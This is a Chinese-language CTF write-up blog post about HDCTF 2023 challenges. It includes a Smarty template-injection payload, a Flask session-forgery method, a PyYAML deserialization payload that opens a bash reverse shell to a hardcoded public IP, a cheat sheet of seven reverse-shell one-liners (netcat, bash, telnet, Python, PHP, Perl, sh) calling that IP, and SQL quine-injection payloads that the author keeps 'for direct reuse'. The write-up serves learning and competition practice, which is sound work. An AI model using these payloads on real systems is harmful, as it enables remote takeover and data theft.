Z1d10tのBlog

A note for myself,have fun!

  1. 1. Web
    1. 1.1. Welcome To HDCTF 2023
      1. 1.1.1. 解一:
      2. 1.1.2. 解二:
    2. 1.2. SearchMaster
  2. 2. Crypto
    1. 2.1. Normal_Rsa
  3. 3. Misc
    1. 3.1. hardMisc
  4. 4. 复现:
    1. 4.1. YamiYami
      1. 4.1.1. 非预期
      2. 4.1.2. 预期:
    2. 4.2. LoginMaster
  5. 5. 小尾巴

HDCTF 2023(省内赛道) 部分WP

最终排名第七吧 web狗表示web后面几道真的很难,目前刷题还没有做到后几道题目的类型,所以后半阶段真的在坐牢,还是太菜了,努力!!!

img

Web

Welcome To HDCTF 2023

解一:

直接送死

解二:

img

img

直接输入在console中输入seeeeeeeecret就能拿到

SearchMaster

这题拿了一血 开心qwq

一眼丁真 php的smarty注入

构造payload:

1
2
data={if system('ls /')}{/if}
data={if system('cat /flag_13_searchmaster')}{/if}

img

Crypto

Normal_Rsa

应该是题目出问题了 打开题目flag就有

Misc

hardMisc

也是拿到一个一血

拖进010一把梭

末尾 base64解码拿到flag

复现:

YamiYami

一道关于session伪造 yaml(一开始一直在搜yami反序列化 还在想为什么搜不到相关文章 真该死啊我)反序列化 shell反弹的题目

借助这道题目好好学习一下yami漏洞和shell反弹

进入题目后能看到有三个路由 /read是用来读文件的 /upload是用来上传我们的恶意代码文件的 /pwd 字面意思就是告诉我们当前在哪个文档中

当时做题的时候还以为这道题目难度应该不会很难 还以为是很基础的上传一句话木马去包含然后getshell 看了wp真的怀疑人生

非预期

先说说非预期吧 直接读取环境变量就可以了 我当时也是这么想的 但是我纯脑瘫去读linux系统用户环境信息了

而且题目环境应该是在docker下

一开始一直在读/etc/profile

/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置。

img

根本没什么用

应该读环境变量/proc/1/environ(详细可参考:https://blog.csdn.net/FY_2018/article/details/112986445)

img

预期:

上传一个yami反序列化文件 然后反弹shell去打

首先先去读源文件 发现做flask的题目 能get到源代码就去努力!

这里用到了python3解析特性

如果直接构造payload/read?url=file:///app.py flag字样也被正则了

img

发现是不行的 被过滤了

这里用到了python3的字符解析特性通过双重url编码(全字符)去绕过

img

拿到源码

img

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

发现还有一个/boogipop路由

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"

session="Welcome To HDCTF2023"通过get方式去读文件 也就是说还需要session伪造

伪造需要key 那么看源码是怎么生成的

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造

img

1
2
3
import random
random.seed(0x0242ac024ed7) #去掉:加上0x也就是十六进制
print(str(random.random()*233))

得到key为33.893457812509084

通过脚本伪造session

然后yaml.full_load(f)就是漏洞所在点他会将我们上传的恶意文件内容反序列化 并且代码中并没有回显的语句也暗示了这里要通过反弹shell的方式去打(这里参考这篇大佬的文章太细了 https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/)

上传反序列化文件

1
2
3
4
5
6
7
8
9
10
11
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/124.221.177.174/7777 <&1\"')"#这里就是代码执行 通过bash直接反弹shell
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功

至于为什么上面大佬的文章讲的很仔细 我就不献丑了 自己太菜了

简单理解就是python将命令执行的代码塞入了对象中然后yaml序列化得到这个 然后再利用反序列化去命令执行 看起来比较奇怪是因为这种格式是属于yaml形式的序列化对象 所以看起来比较的陌生 还有就是这里的命令执行是用反弹shell 是因为通过看源码发现没有回显的代码 所以只能通过反弹shell去变相得到回显

然后将文件命名为2.txt 这里不能用.yaml后缀被屏蔽了

既然是txt后缀为什么代码会被执行呢

这里借用大佬的理解:

猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进
制文件,所以不管是什么后缀都无关紧要了

img

上传上去

然后去/boogipop路由下去读取,然后反弹shell

这里文件路径是uplaods/2.txt

大佬文章也提到了

img

img

不要在意这里为什么bp报错 nc能连通就行

img

反弹shell成功

再来说说反弹shell

这里就说说我的理解,不会去将所有概念一字不漏的打出来,我觉得没必要,理解是最棒的,想看概念随时都可以百度,但是唯独理解是检测自己是否对于一个知识点真的理解了

我们一般主动攻击去连接某个电脑,叫做正向连接,一般知道这个电脑一些信息ip之类的,知道它何时在做什么

但是如果我们不知道这台电脑信息ip什么的,或者此时此刻的状态,就叫薛定谔状态吧(bushi,就没法去连接去攻击 那么应该怎么办呢?

这里就用到了反弹shell 何为反弹?

既然我们不知道对方的状态 但是我们知道我们的状态信息 我们可以提供我们自己的一些信息去让对方找到我们然后连接不就行了?

这里可以这么形象的比喻:

简单的说,就是我送了小明一份礼物,小明收到了,看见礼物里面写着xxx大街xxx户xxx号领取(木马),小明去了敲门(打开木马,反弹shell),我开门把他拉进来(netcat),这样我就有了他的支配权,他的操作就被我控制了。

来自一个b站网友 我觉得很形象能理解反弹shell的概念

既然是对方找到我们,就需要用公网ip,我们物理机的ip都是一个局域网分配的,真实ip都掌握在运营商手里

这里就需要用到vps或者在大厂买云服务即可,当然也不影响我白嫖室友的云服务器:)

以上只是我浅薄的理解,可以参考这篇文章深入理解:https://xz.aliyun.com/t/9488

然后我简单总结了一下一些常用的反弹shell的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.nc
netcat 124.221.177.174 7777 -e /bin/bash
2.bash
bash -i >& /dev/tcp/124.221.177.174/7777 0>&1
3.Telnet:
mknod a p; telnet 124.221.177.174 7777 0<a | /bin/bash 1>a
4.python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.177.174",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5.php
php -r '$sock=fsockopen("124.221.177.174",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
6.perl:
perl -e 'use Socket;$i="124.221.177.174";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
7.sh
nc 124.221.177.174 7777 -e /bin/sh

回到题目,发现没有关于flag的文件,所以还是通过读取环境变量来读flag,结束。

LoginMaster

这道题 我的评价是寄,刷题没刷到过这样的注入——quine注入,还有时间盲注也还没有开始学借助此次机会学习学习

首先日常先看/robots.txt发现了waf

img

看到waf后我就陷入了沉思,我能想到的payload所包含的几乎都河蟹了个遍,这还怎么玩,就放弃了

看了wp要用时间盲注和quine组合拳去打

其实看了waf 这段代码也大概能感觉到是quine注入

这里就是需要我们输入的密码与查询到的密码相等

1
2
if ($row['password'] === $password) {
die($FLAG);

说简单一点,quine注入就是输入与输出完全相同 自产生程序也就是说就是输入的sql语句与要输出的一致

用到replace()函数

如果输入 replace(".",char(46),".")

则会输出 .

img

如果输入 replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")')

则会用第三个参数去替换第一个参数中的所有.

img

但是此时就会发现一个问题 我们输入与输出并不是完全相同的

我们输入的单引号在输出语句里都是双引号

因此 需要在repalce里面再嵌套一个replace来让双引号转成单引号

1
replace(replace(".",char(34),char(39)),char(46),".")

img

用上面的式子替换所有的.

1
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

就会发现输入与输出完全相等

img

回到题目 因为屏蔽了空格用()嵌套或者/**/绕过都行

payload:1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

分析:

1'UNION(SELECT(REPLACE(A,CHAR(37),B))) 用B替换%,%这个符号应该是任意的后续替换时变成相应的char就行

A:REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)) 双引号换为单引号->替换%->双引号换为单引号

1
B:'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#'

双引号换位单引号->替换%

提供三种payload吧,以后如果再遇到这样的题目也能拿来直接用

  1. 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
  2. 1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
  3. 1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

第一个payload与第二个payload之间的差距:为第一个与union之间有空格,第二个无,本质上两个payload无区别

注意sql中为char()而不是chr() 网上payload需要转换

搞定:

img

至于时间盲注这个坑,以后遇到经典题型借助题目来总结吧,这里插个眼先:)

还有两道java题目就不复现了,java还是我没有解锁的领域,复现起来也很吃力,之后系统开始学java之后再来复现填坑吧。

小尾巴

这次打完省赛(校赛bushi)虽然很水,但是成功爬进了学校的实验室,也算是一段时间的努力总算有了成果吧,进了实验室才是刚刚开始,自身还是有很多不足,需要继续努力,继续奋斗,干巴得!

本文最后更新于 天前,文中所描述的信息可能已发生改变